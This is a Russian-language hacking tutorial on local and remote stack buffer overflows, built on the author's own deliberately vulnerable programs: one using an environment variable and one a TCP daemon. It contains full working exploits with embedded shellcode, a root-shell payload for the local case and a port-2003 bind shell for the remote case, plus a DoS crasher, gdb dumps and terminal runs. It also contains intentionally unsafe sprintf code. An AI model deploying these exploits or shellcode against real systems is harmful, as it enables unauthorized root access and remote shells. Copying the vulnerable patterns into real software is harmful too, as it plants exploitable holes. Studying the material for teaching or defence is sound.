ПЕРЕПОЛНЕНИЕ БУФЕРА ЧЕРЕЗ "ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ".
Я думаю, многие знают, что такое Переменная Окружения. Если нет, то переменные окружения это некие хранилища информации

. Они используются для того, чтобы хранить какую либо информацию. Но очень часто при написании больших программ, программисты допускают ошибки переполнения буфера при передачи этих самых данных через эти самые переменные ; -). Давайте рассмотрим пример написания такой программки.
Код:
[========================================CODE#3 env.c=================================]
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *env;
char buf[100];
env = getenv("SOMEDATA");
if ( env == NULL ) { return 0; }
sprintf(buf, "%s", env);
return 0;
}
[========================================CODE#3 env.c=================================]
Итак, выше показан пример такой программы, которая берет из переменной окружения "SOMEDATA", с помощью функции getenv(), ее значение и копирует в буфер с использованием функции sprintf(); Синтаксис ее таков:
sprintf(буфер_куда_копировать, формат_копирования, откуда_копировать_данные);
Скажу лишь то, что параметр "формат_копирования", может быть отпущен, но в этом случае возникает другая ошибка программирования. Название ей Ошибки При форматировании Строк. Но об этом читайте в других источниках.
Синтаксис функции getenv() таков:
переменная_куда_копировать _значение = getenv(название_переменной_ок ужения);
Итак, мы рассмотрели пример уязвимой программы. Напишем пример программы, которая покажет нам, как переполняется в этом случае буфер. Но сначала откомпилируйте эту программу.
Код:
[========================================CODE#4 env_dos.c=================================]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[1000];
memset(buf, 0x41, 1000);
setenv("SOMEDATA", buf, 1); // присваиваем переменной-окружения значение находящееся в buf.
execl("env", "env", NULL);
}
[========================================CODE#4 env_dos.c=================================]
Ну я думаю Вам все должно быть ясно. Единственное скажу про синтаксис функции setenv().
Он таков:
setenv(имя_переменной_окружен я, значение, значение_перезаписи - 1 да, 0 - нет);
Все.
Откомпилируйте программу.
Код:
[root@localhost boft]# gcc env.c -o env
env.c: In function `main':
env.c:8: warning: assignment makes pointer from integer without a cast
[root@localhost boft]# gcc env_dos.c -o env_dos
[root@localhost boft]# ./env_dos
Segmentation fault (core dumped)
[root@localhost boft]#
Как видно наша уязвимая программа вызвала переполнение. Для того чтобы посмотреть подробности, скажу, что после переполнения в текущей директории должен создаться файл "core". В нем имеется информация о переполнении. Поищите его. Далее его нужно просмотреть через gdb:
Код:
[root@localhost boft]# gdb env -core core.2827
GNU gdb 6.0-2mdk (Mandrake Linux)
<...............>
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)
Вот. Возглянем на регистр ESP для того чтобы вычеслить адрес возврата на шеллкод.
Код:
(gdb) x/100x $esp
0xbffff1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff200: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff240: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
Так... Пора писать эксплоит. По сути, он ничем не отличается от предыдушего, только функциями.
Код:
[========================================CODE#5 ex_env.c=================================]
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
long RET;
int i;
char buf[1000];
char *p;
RET = 0xbffff310; // адрес в Вашей системе может быть другой.
p = buf;
memset(buf, 0x41, 1000+1-strlen(shellcode));
sprintf(buf+1000+1-strlen(shellcode), "%s", shellcode);
for ( i = 0; i <= 500; i+= 4 )
*(long*)(p+i) = RET;
setenv("SOMEDATA", buf, 1);
execl("env", "env" , buf, NULL);
}
[========================================CODE#5 ex_env.c=================================]
Ну, я думаю, ничего сложного нет, чтобы разобраться с этим кодом. Скажу лишь то, что т.к. адрес буфера уязвимой программы маленький, я расположил адрес в диапазоне от 0 до 500. Он все равно правильно будет расположен. Так теперь давайте откомпилируем эксплоит и запустим.
Код:
[root@localhost boft]# gcc ex_env.c -o ex_env
[root@localhost boft]# ./ex_env
sh-3.00# exit
exit
[root@localhost boft]#
Вот и все, что требовалось доказать

. Переходим к удаленному переполнению буфера.
УДАЛЕННОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА.
Я думаю, многие видели в security рассылках сообщение об очередной ошибке в каком-либо демоне. И в advisory написано, например, что тип атаки является "Удаленным" (Remote). Вначале статьи мы описали принцип локального переполнения. Сейчас я хочу показать Вам пример удаленного переполнения. Мы напишем уязвимый демон. А далее напишем для него эксплоит.
Итак, рассмотрим пример уязвимого сервера.
Код:
[========================================CODE#6 vsrv.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 45
#define NAME_SIZE 2048
int handling_client(int c) {
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
read(c, name, strlen(name), 0);
recv(c, name, sizeof(name), 0);
sprintf(buffer, name);
send(c, buffer, strlen(buffer), 0);
return 0;
}
int main(int argc, char *argv[]) {
int Sock, con, client_size;
struct sockaddr_in srv, cli;
if (argc != 2) {
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
Sock = socket(AF_INET, SOCK_STREAM, 0);
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
bind(Sock, &srv, sizeof(srv));
listen(Sock, 3);
for(;;) {
con = accept(Sock, &cli, &client_size);
if (handling_client(con) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(con);
}
return 0;
}
[========================================CODE#6 vsrv.c=================================]
Итак, выше приведен листинг простенького сервера. Давайте откомпилируем его и попытаемся запустить.
Код:
[root@localhost boft]# gcc vsrv.c -o vsrv
vsrv.c: In function `main':
vsrv.c:35: warning: passing arg 2 of `bind' from incompatible pointer type
vsrv.c:40: warning: passing arg 2 of `accept' from incompatible pointer type
[root@localhost boft]# ./vsrv
usage: ./vsrv port
[root@localhost boft]# ./vsrv 2278
Демон слушает 2278 порт. Попробуем соединиться с этим портом.
Код:
[root@localhost boft]# telnet 127.0.0.1 2278
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.
Работает отлично. Я думаю, Вы уже заметили ошибку переполнения в сервере. Т.е. если серверу передать слишком длинную строку, то он завершится с ошибкой. Давайте рассмотрим пример программу, которую в простонародье принято считать DOS-утилита.
Код:
[========================================CODE#7 vsrv_dos.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int i, sock, count;
char buf[4096];
struct sockaddr_in tgt;
if (argc < 3) { printf("usage : dos <ip> <port> <buffer>\n\n");
return 0;
}
count = atoi(argv[3]);
tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
for (i = 0; i < count; i++) buf[i] = 'A';
connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
printf("sending... buf = %s\n", buf);
send(sock, buf, sizeof(buf), 0);
close(sock);
}
[========================================CODE#7 vsrv_dos.c=================================]
Давайте испробуем программу. Не закрывайте сервер.
Код:
[root@localhost boft]# gcc vsrv_dos.c -o dos
[root@localhost boft]# ./dos
usage : dos <ip> <port> <buffer>
[root@localhost boft]# ./dos 127.0.0.1 2278 1000
sending... buf =AAAAA.... <skipped>
[root@localhost boft]#
Взглянем на окно сервера.
Код:
[root@localhost boft]# ./vsrv 2278
Segmentation fault (core dumped)
[root@localhost boft]#
Вот и переполнение! Взглянем на значение регистра ESP.
Код:
[root@localhost boft]# gdb vsrv -core core.3390
GNU gdb 6.0-2mdk (Mandrake Linux)
<skipped>
Core was generated by `AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/200x $esp
<skipped>
0xbffff8e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff900: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff910: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff920: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff930: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff950: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
<skipped>
(gdb)
Так вот. Произошло настоящее переполнение. Хочу предупредить, что для того чтобы правильно выбрать адрес на шеллкод не стоит брать адреса верхние и нижние. Нужно взять адреса средние.
Настало время написать эксплоит.
Код:
[========================================CODE#8 exp_vsrv.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
static char shellcode[]= // Bind 2003 PORT xCrZx shellcode
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
#define RET 0xbffff9d0 // mandrake 10.0 OR.
int main(int argc, char *argv[])
{
int s, i, size;
struct sockaddr_in remote;
char buf[1000];
char *p;
if ( argc < 3 ) { printf("usage: %s <ip> <port>\n", argv[0]); exit(0); }
memset(buf, 0x90, 1000-1-strlen(shellcode));
sprintf(buf+1000-1-strlen(shellcode), "%s", shellcode);
p=buf;
for ( i = 0; i <= 500; i += 4 )
*(long*)(p+i) = RET;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);
connect(s, (struct sockaddr *)&remote, sizeof(remote));
send(s, buf, sizeof(buf),0);
close(s);
}
[========================================CODE#8 exp_vsrv.c=================================]
Давайте протестируем эксплоит.
Код:
[root@localhost boft]# gcc exp_vsrv.c -o exp
[root@localhost boft]# ./exp
usage: ./exp <ip> <port>
[root@localhost boft]# ./exp 127.0.0.1 2278
[root@localhost boft]# telnet 127.0.0.1 2003
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.
Опа... Работает!
Вот в принципе и все. Вообще переполнение удаленное и локальное мало чем отличается.
ЗАКЛЮЧЕНИЕ.
В этом материале я постарался рассказать очень подробно тему переполнения. Я думаю, она очень понятна даже для человека, который вообще не знал об этой уязвимости. В заключении хотелось бы также отметить то, что я разработал утилиту, которая генерирует эксплоит автоматически.
Скачать ее вы можете на сайте http://unl0ck.info. На данный момент это версия 0.3. В будущем планируется добавить новые возможности.
Хотелось бы поблагодарить следующих людей: stine, f00n, nekd0, forsyte, eitr0n, msm, mssunny. Без этих людей жизнь в Сети была бы однообразна.
По поводу каких-либо вопросов пишите на darkeagle@list.ru
http://unl0ck.info
P.S. Все примеры программ в статье Вы можете скачать http://unl0ck.info/boft.tgz
От себя: Об этом должен знать любой кодер =)